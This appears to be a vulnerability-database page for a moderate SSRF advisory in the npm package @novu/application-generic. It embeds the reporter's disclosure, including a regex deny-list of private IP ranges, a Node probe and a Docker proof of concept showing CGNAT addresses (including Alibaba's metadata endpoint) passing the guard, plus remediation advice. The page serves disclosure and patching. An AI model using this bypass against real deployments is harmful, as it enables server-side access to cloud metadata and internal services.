GHSA-vg6v-j97m-h5xq: @novu/application-generic `validateUrlSsrf` Permits CGNAT (100.64.0.0/10) Destinations Vulnerability
MODERATEGHSA-vg6v-j97m-h5xq is a MODERATE (CVSS 6.8) `validateurlssrf` permits cgnat (100.64.0.0/10) destinations vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @novu/application-generic libraries in the npm ecosystem. The issue involves `validateurlssrf` permits cgnat (100.64.0.0/10) destinations — affects workflow http request step + webhook filter condition. Remediation is available by upgrading affected packages to version 3.17.0.
GHSA-vg6v-j97m-h5xq at a Glance
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N).
How to Fix GHSA-vg6v-j97m-h5xq
To remediate this vulnerability, upgrade all affected @novu/application-generic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @novu/application-generic@3.17.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @novu/application-generic
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-vg6v-j97m-h5xq, inspect your project dependencies using npm:
npm ls @novu/application-generic
Analyze the terminal output to locate any version of @novu/application-generic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.17.0), your application is affected.
Note: The npm ls @novu/application-generic command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @novu/application-generic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-vg6v-j97m-h5xq Affected @novu/application-generic Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@novu/application-generic
|
npm |
< 3.17.0
|
3.17.0
|
References
Frequently Asked Questions
What is GHSA-vg6v-j97m-h5xq?
Which @novu/application-generic versions are affected?
What version fixes GHSA-vg6v-j97m-h5xq?
Is @novu/application-generic affected?
What is the CVSS score of GHSA-vg6v-j97m-h5xq?
What CWE is associated with GHSA-vg6v-j97m-h5xq?
How can I check npm dependencies for GHSA-vg6v-j97m-h5xq?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vg6v-j97m-h5xq",
"modified" : "2026-07-28T14:59:22Z",
"published" : "2026-07-28T14:59:22Z",
"aliases" : [ ],
"summary" : "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition",
"details" : "Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n - `isPrivateIp(...)` regex list at lines 9-28\n - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction — Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n const privateRanges = [\n /^0\\.0\\.0\\.0$/i,\n /^127\\./,\n /^10\\./,\n /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n /^192\\.168\\./,\n /^169\\.254\\./,\n /^::ffff:127\\./i,\n /^::ffff:10\\./i,\n /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n /^::ffff:192\\.168\\./i,\n /^::ffff:169\\.254\\./i,\n /^::1$/,\n /^fc00:/i,\n /^fe80:/i,\n ];\n return privateRanges.some((range) => range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n let parsed;\n try {\n parsed = new URL(url);\n } catch {\n return 'Invalid URL format.';\n }\n if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {\n return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n }\n const hostname = parsed.hostname.toLowerCase();\n const blockedHostnames = ['localhost', 'metadata.google.internal'];\n if (blockedHostnames.includes(hostname)) {\n return `Requests to \"${hostname}\" are not allowed.`;\n }\n let addresses;\n try {\n addresses = await dns.lookup(hostname, { all: true });\n } catch {\n return `Unable to resolve hostname \"${hostname}\".`;\n }\n for (const { address } of addresses) {\n if (isPrivateIp(address)) {\n return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n }\n }\n return null;\n}\n\nasync function main() {\n for (const url of [\n 'http://127.0.0.1/',\n 'http://0.0.0.0/',\n 'http://0.0.0.1/',\n 'http://169.254.169.254/',\n 'http://100.64.0.1/',\n 'http://100.100.100.200/',\n 'http://224.0.0.1/',\n 'http://[fd00::1]/',\n 'http://[64:ff9b::7f00:1]/',\n 'http://[::ffff:100.64.0.1]/',\n 'http://8.8.8.8/',\n ]) {\n console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));\n }\n}\n\nmain().catch((e) => { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse.\n\n## Reproduction — Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n cgnat-target:\n image: python:3.12-alpine\n command: python -u /srv/target.py\n volumes:\n - ./target.py:/srv/target.py:ro\n networks:\n novu-cgnat:\n ipv4_address: 100.64.0.20\n\n novu-client:\n image: node:22-alpine\n command: node /srv/client.js\n volumes:\n - ./client.js:/srv/client.js:ro\n depends_on:\n - cgnat-target\n networks:\n novu-cgnat:\n ipv4_address: 100.64.0.10\n\nnetworks:\n novu-cgnat:\n ipam:\n config:\n - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n self.send_response(200)\n self.send_header(\"content-type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b'{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n')\n def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n const privateRanges = [\n /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n /^::ffff:127\\./i, /^::ffff:10\\./i,\n /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n /^::1$/, /^fc00:/i, /^fe80:/i,\n ];\n return privateRanges.some((range) => range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n const parsed = new URL(url);\n if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';\n if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {\n return 'blocked hostname';\n }\n const addresses = await dns.lookup(parsed.hostname, { all: true });\n for (const { address } of addresses) {\n if (isPrivateIp(address)) return `blocked ${address}`;\n }\n return null;\n}\n\nasync function waitForTarget(url) {\n for (let attempt = 0; attempt < 20; attempt += 1) {\n try {\n const r = await fetch(url, { method: 'POST' });\n await r.text();\n return;\n } catch (_e) {\n await new Promise((resolve) => setTimeout(resolve, 250));\n }\n }\n}\n\nasync function main() {\n const url = 'http://cgnat-target:8080/workflow-http-step';\n const addresses = await dns.lookup('cgnat-target', { all: true });\n const validation = await validateUrlSsrf(url);\n console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));\n\n if (validation) { process.exitCode = 2; return; }\n\n await waitForTarget(url);\n const response = await fetch(url, {\n method: 'POST',\n headers: { 'content-type': 'application/json' },\n body: JSON.stringify({ source: 'novu-http-request-step' }),\n });\n const body = await response.text();\n console.log(JSON.stringify({ status: response.status, body }));\n}\n\nmain().catch((e) => { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output\n\n```\nnovu-client-1 | {\"url\":\"http://cgnat-target:8080/workflow-http-step\",\"addresses\":[{\"address\":\"100.64.0.20\",\"family\":4}],\"validation\":\"ALLOW\"}\ncgnat-target-1 | [target] 100.64.0.10 POST /workflow-http-step\nnovu-client-1 | {\"status\":200,\"body\":\"{\\\"marker\\\":\\\"NOVU_CGNAT_SSRF_OK\\\"}\\n\"}\n```\n\nThe chain is:\n\n1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address).\n2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`.\n3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received.\n\n## Impact\n\nAny Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:\n\n- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata.\n- **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.\n- **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.\n\n## Suggested remediation\n\n- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6.\n- Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent).\n- Explicitly deny all special-use ranges, including at least:\n - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`\n - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`)\n - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above\n- Add regression tests for:\n - `100.64.0.1`, `100.100.100.200`\n - hostnames resolving to those addresses\n - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`)\n- Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).\n\n## Notes\n\nThis report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@novu/application-generic"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.17.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/novuhq/novu"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-28T14:59:22Z",
"nvd_published_at" : null
}
}